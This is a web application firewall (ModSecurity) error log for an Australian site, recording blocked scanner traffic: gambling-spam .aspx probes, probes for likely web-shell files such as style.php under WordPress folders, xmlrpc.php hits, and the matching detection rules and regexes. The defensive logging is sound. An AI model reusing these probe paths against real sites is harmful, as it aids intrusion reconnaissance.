[Fri Mar 06 18:54:29.052840 2026] [:error] [pid 16140:tid 16163] [client 51.75.119.153:38794] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aaqyZZZVpEeGhAeSpv24SgAAARU"]
[Fri Mar 06 18:54:31.898619 2026] [:error] [pid 16140:tid 16149] [client 51.75.119.153:38826] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaqyZ5ZVpEeGhAeSpv24UQAAAQc"]
[Fri Mar 06 18:54:34.766119 2026] [:error] [pid 16140:tid 16153] [client 51.75.119.153:49202] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aaqyapZVpEeGhAeSpv24WgAAAQs"]
[Fri Mar 06 18:54:37.296930 2026] [:error] [pid 59237:tid 59258] [client 51.75.119.153:49214] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aaqybeqfMSBs0nxOTxH3KQAAA5A"]
[Fri Mar 06 18:54:39.923980 2026] [:error] [pid 59037:tid 59069] [client 51.75.119.153:49246] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "aaqyb_LSf47J21UqfPZHdAAAAlI"]
[Fri Mar 06 18:54:42.560095 2026] [:error] [pid 16140:tid 16146] [client 51.75.119.153:49256] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aaqycpZVpEeGhAeSpv24XwAAAQQ"]
[Fri Mar 06 18:54:45.365842 2026] [:error] [pid 16140:tid 16162] [client 51.75.119.153:32954] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaqydZZVpEeGhAeSpv24ZwAAARQ"]
[Fri Mar 06 18:54:48.161753 2026] [:error] [pid 59237:tid 59248] [client 51.75.119.153:32976] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "aaqyeOqfMSBs0nxOTxH3TQAAA4Y"]
[Fri Mar 06 18:54:51.061458 2026] [:error] [pid 59198:tid 59216] [client 51.75.119.153:32996] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "aaqye9FYTNmfCEavFrJGQQAAA08"]
[Fri Mar 06 18:54:53.449234 2026] [:error] [pid 16140:tid 16152] [client 51.75.119.153:33004] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aaqyfZZVpEeGhAeSpv24dQAAAQo"]
[Fri Mar 06 18:54:56.144353 2026] [:error] [pid 59237:tid 59255] [client 51.75.119.153:38184] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "aaqygOqfMSBs0nxOTxH3cwAAA40"]
[Fri Mar 06 18:54:58.776671 2026] [:error] [pid 59237:tid 59257] [client 51.75.119.153:38194] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "aaqyguqfMSBs0nxOTxH3dAAAA48"]
[Fri Mar 06 18:55:01.480898 2026] [:error] [pid 59237:tid 59253] [client 51.75.119.153:38218] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "aaqyheqfMSBs0nxOTxH3fQAAA4s"]
[Fri Mar 06 18:55:04.033469 2026] [:error] [pid 59239:tid 59271] [client 51.75.119.153:38232] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches888%20pg.aspx"] [unique_id "aaqyiLG1EpnE909fvGeJQQAAA8I"]
[Fri Mar 06 18:55:06.497665 2026] [:error] [pid 16140:tid 16157] [client 51.75.119.153:46620] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aaqyipZVpEeGhAeSpv24mwAAAQ8"]
[Fri Mar 06 18:55:09.006292 2026] [:error] [pid 16140:tid 16150] [client 51.75.119.153:46642] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aaqyjZZVpEeGhAeSpv24pwAAAQg"]
[Fri Mar 06 18:55:11.592044 2026] [:error] [pid 59198:tid 59209] [client 51.75.119.153:46660] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aaqyj9FYTNmfCEavFrJGTQAAA0k"]
[Fri Mar 06 18:55:14.187453 2026] [:error] [pid 16140:tid 16152] [client 51.75.119.153:46674] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aaqykpZVpEeGhAeSpv24sgAAAQo"]
[Fri Mar 06 18:55:16.838574 2026] [:error] [pid 16140:tid 16149] [client 51.75.119.153:60172] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aaqylJZVpEeGhAeSpv24vgAAAQc"]
[Fri Mar 06 18:55:42.038489 2026] [:error] [pid 59239:tid 59274] [client 51.75.119.153:60174] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aaqyrrG1EpnE909fvGeJfQAAA8U"]
[Fri Mar 06 18:55:44.574687 2026] [:error] [pid 59037:tid 59066] [client 51.75.119.153:45632] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aaqysPLSf47J21UqfPZHhQAAAk8"]
[Fri Mar 06 18:55:46.889244 2026] [:error] [pid 59237:tid 59243] [client 51.75.119.153:45634] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aaqysuqfMSBs0nxOTxH38QAAA4E"]
[Fri Mar 06 18:55:49.264088 2026] [:error] [pid 16140:tid 16165] [client 51.75.119.153:45652] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "aaqytZZVpEeGhAeSpv25GAAAARc"]
[Fri Mar 06 18:55:51.649255 2026] [:error] [pid 59237:tid 59250] [client 51.75.119.153:45670] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "aaqyt-qfMSBs0nxOTxH4CAAAA4g"]
[Fri Mar 06 18:55:54.024146 2026] [:error] [pid 59237:tid 59264] [client 51.75.119.153:45688] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aaqyuuqfMSBs0nxOTxH4FAAAA5Y"]
[Fri Mar 06 18:55:56.501775 2026] [:error] [pid 59237:tid 59262] [client 51.75.119.153:45028] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "aaqyvOqfMSBs0nxOTxH4HgAAA5Q"]
[Fri Mar 06 18:55:58.989386 2026] [:error] [pid 59237:tid 59253] [client 51.75.119.153:45038] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aaqyvuqfMSBs0nxOTxH4LAAAA4s"]
[Fri Mar 06 18:56:01.488555 2026] [:error] [pid 16140:tid 16150] [client 51.75.119.153:45050] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "aaqywZZVpEeGhAeSpv25NgAAAQg"]
[Fri Mar 06 18:56:03.826716 2026] [:error] [pid 16140:tid 16153] [client 51.75.119.153:45066] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aaqyw5ZVpEeGhAeSpv25QwAAAQs"]
[Fri Mar 06 18:56:06.107529 2026] [:error] [pid 59198:tid 59222] [client 51.75.119.153:35966] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aaqyxtFYTNmfCEavFrJGcAAAA1U"]
[Fri Mar 06 18:56:08.509717 2026] [:error] [pid 59237:tid 59254] [client 51.75.119.153:35982] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aaqyyOqfMSBs0nxOTxH4QwAAA4w"]
[Fri Mar 06 18:56:11.107036 2026] [:error] [pid 59237:tid 59256] [client 51.75.119.153:35996] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aaqyy-qfMSBs0nxOTxH4SAAAA44"]
[Fri Mar 06 18:56:13.665461 2026] [:error] [pid 16140:tid 16153] [client 51.75.119.153:36012] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aaqyzZZVpEeGhAeSpv25WwAAAQs"]
[Fri Mar 06 18:56:16.194348 2026] [:error] [pid 16140:tid 16158] [client 51.75.119.153:37642] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aaqy0JZVpEeGhAeSpv25dAAAARA"]
[Fri Mar 06 18:56:18.569982 2026] [:error] [pid 16140:tid 16150] [client 51.75.119.153:37644] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "aaqy0pZVpEeGhAeSpv25fwAAAQg"]
[Fri Mar 06 18:56:21.115051 2026] [:error] [pid 59237:tid 59262] [client 51.75.119.153:37660] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aaqy1eqfMSBs0nxOTxH4YgAAA5Q"]
[Fri Mar 06 18:56:23.616602 2026] [:error] [pid 59040:tid 59112] [client 51.75.119.153:37684] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aaqy17hQWeDH4WbmEIiSyQAAAwY"]
[Fri Mar 06 18:56:25.999550 2026] [:error] [pid 59237:tid 59244] [client 51.75.119.153:59562] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aaqy2eqfMSBs0nxOTxH4hQAAA4I"]
[Fri Mar 06 18:56:28.536722 2026] [:error] [pid 16140:tid 16156] [client 51.75.119.153:59576] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aaqy3JZVpEeGhAeSpv25kQAAAQ4"]
[Fri Mar 06 18:56:31.049979 2026] [:error] [pid 59239:tid 59271] [client 51.75.119.153:59596] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aaqy37G1EpnE909fvGeJvQAAA8I"]
[Fri Mar 06 18:56:33.424693 2026] [:error] [pid 59239:tid 59288] [client 51.75.119.153:59624] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aaqy4bG1EpnE909fvGeJxAAAA9M"]
[Fri Mar 06 18:56:35.995736 2026] [:error] [pid 8656:tid 8833] [client 51.75.119.153:52566] [client 51.75.119.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aaqy45PxTG9Ff1TtP6Ov1AAAAJc"]
[Fri Mar 06 20:01:32.210278 2026] [:error] [pid 59237:tid 59263] [client 49.51.252.146:39544] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aarCHOqfMSBs0nxOTxEmgwAAA5U"]
[Fri Mar 06 22:40:29.507202 2026] [:error] [pid 59237:tid 59263] [client 43.133.220.37:38002] [client 43.133.220.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aarnXeqfMSBs0nxOTxGFoQAAA5U"]
[Fri Mar 06 22:54:28.813295 2026] [:error] [pid 16140:tid 16146] [client 74.7.227.63:53122] [client 74.7.227.63] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.227.63, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aarqpJZVpEeGhAeSpv0W9wAAAQQ"], referer: https://vetstars.com.au/
[Fri Mar 06 23:10:55.400094 2026] [:error] [pid 59237:tid 59264] [client 62.60.131.218:62347] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aaruf-qfMSBs0nxOTxGY5wAAA5Y"]
[Sat Mar 07 00:43:36.487729 2026] [:error] [pid 7406:tid 7474] [client 45.118.166.148:44881] [client 45.118.166.148] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.118.166.148, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aasEOHtbeE4NFKnz6vfAsQAAAMU"], referer: https://vetstars.com.au/
[Sat Mar 07 01:28:34.075305 2026] [:error] [pid 7406:tid 7476] [client 104.28.214.122:11827] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/style.php"] [unique_id "aasOwntbeE4NFKnz6vfokQAAAMc"]
[Sat Mar 07 01:28:35.583962 2026] [:error] [pid 6923:tid 7078] [client 104.28.214.122:57143] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/style.php"] [unique_id "aasOw7AJONsbDnxnyfPVegAAAIc"]
[Sat Mar 07 01:28:36.129100 2026] [:error] [pid 7406:tid 7489] [client 104.28.214.122:57150] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/style.php"] [unique_id "aasOxHtbeE4NFKnz6vfomQAAANI"]
[Sat Mar 07 01:28:37.635881 2026] [:error] [pid 7406:tid 7473] [client 104.28.214.122:12985] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-admin/style.php"] [unique_id "aasOxXtbeE4NFKnz6vfomwAAAMQ"]
[Sat Mar 07 01:28:45.211742 2026] [:error] [pid 6919:tid 7064] [client 104.28.214.122:22309] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style.php"] [unique_id "aasOze0DAaa0YRRmFti7EgAAAFU"]
[Sat Mar 07 01:31:49.189831 2026] [:error] [pid 6923:tid 7092] [client 36.111.67.189:39636] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aasPhbAJONsbDnxnyfPWcwAAAJM"]
[Sat Mar 07 02:10:20.630030 2026] [:error] [pid 49640:tid 49669] [client 51.75.119.229:59644] [client 51.75.119.229] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aasYjGFdJasuHFpHkYa3HwAAAZE"]
